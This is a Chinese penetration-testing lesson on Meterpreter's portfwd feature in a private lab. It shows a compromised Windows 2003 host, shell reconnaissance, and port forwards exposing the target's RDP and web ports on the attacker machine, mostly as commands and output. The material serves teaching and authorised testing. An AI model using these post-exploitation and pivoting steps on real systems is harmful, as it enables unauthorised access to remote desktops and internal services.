第九十五课：基于Portfwd端口转发

注：请多喝点热水或者凉白开，可预防肾结石，通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。
portfwd是一款强大的端口转发工具，支持TCP，UDP，支持IPV4--IPV6的转换转发。并且内置于meterpreter。其中exe单版本源码如下：
​https://github.com/rssnsj/portfwd​
攻击机：
192.168.1.5 Debian
靶机：
192.168.1.4 Windows 7
192.168.1.119 Windows 2003
msf exploit(multi/handler) \> sessions ‐l 
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Active sessions
===============
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Id Name Type Information Connection
‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐
1 meterpreter x86/windows WIN03X64\Administrator @ WIN03X64 192.168.1.5:45303 ‐> 192.168.1.119:53 (192.168.1.119)
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msf exploit(multi/handler) > sessions ‐i 1 ‐c 'ipconfig'
[*] Running 'ipconfig' on meterpreter session 1 (192.168.1.119) 
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Windows IP Configuration 
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Ethernet adapter 本地连接:
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Connection‐specific DNS Suffix . :
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IP Address. . . . . . . . . . . . : 192.168.1.119
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1 22
靶机IP为：
192.168.1.119---windows 2003---x64
需要转发端口为：80，3389
msf exploit(multi/handler) > sessions ‐i 1
[*] Starting interaction with 1... 
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meterpreter > shell
Process 4012 created.
Channel 56 created.
Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985‐2003 Microsoft Corp.
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C:\Documents and Settings\Administrator\桌面>if defined PSModulePath (echo ok!) else (echo sorry!)
if defined PSModulePath (echo ok!) else (echo sorry!)
sorry! 
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C:\Documents and Settings\Administrator\桌面>net config Workstation
net config Workstation
计算机名 \\WIN03X64
计算机全名 win03x64
用户名 Administrator
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工作站正运行于
NetbiosSmb (000000000000)
NetBT_Tcpip_{37C12280‐A19D‐4D1A‐9365‐6CBF2CAE5B07} (000C2985D67D) 
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软件版本 Microsoft Windows Server 2003
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工作站域 WORKGROUP
登录域 WIN03X64
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COM 打开超时 (秒) 0
COM 发送计数 (字节) 16
COM 发送超时 (毫秒) 250
命令成功完成。
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C:\Documents and Settings\Administrator\桌面>netstat ‐an|findstr "LIST ENING"
netstat ‐an|findstr "LISTENING"
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3078 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9001 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2995 0.0.0.0:0 LISTENING
TCP 127.0.0.1:9000 0.0.0.0:0 LISTENING
TCP 127.0.0.1:9999 0.0.0.0:0 LISTENING
TCP 192.168.1.119:139 0.0.0.0:0 LISTENING
meterpreter > portfwd ‐h
Usage: portfwd [‐h] [add | delete | list | flush] [args] 
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OPTIONS:
‐L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
‐R Indicates a reverse port forward.
‐h Help banner.
‐i <opt> Index of the port forward entry to interact with (see the "list" command).
‐l <opt> Forward: local port to listen on. Reverse: local port to connect to.
‐p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
‐r <opt> Forward: remote host to connect to.
攻击机执行：
meterpreter > portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389
[*] Local TCP relay created: :33389 <‐> 192.168.1.119:3389
meterpreter > portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80
[*] Local TCP relay created: :30080 <‐> 192.168.1.119:80
meterpreter > portfwd 
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Active Port Forwards
==================== 
Index Local Remote Direction
‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐
1 0.0.0.0:33389 192.168.1.119:3389 Forward
2 0.0.0.0:30080 192.168.1.119:80 Forward 
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2 total active port forwards.
查看攻击机LISTEN端口：转发已成功
root@John:~# netstat ‐ntlp |grep :3
tcp 0 0 0.0.0.0:33389 0.0.0.0:* LISTEN 2319/ruby
tcp 0 0 0.0.0.0:30080 0.0.0.0:* LISTEN 2319/ruby 4
Windows 7 分别访问攻击机33389，30080，既等价访问靶机3389，80
Micropoor
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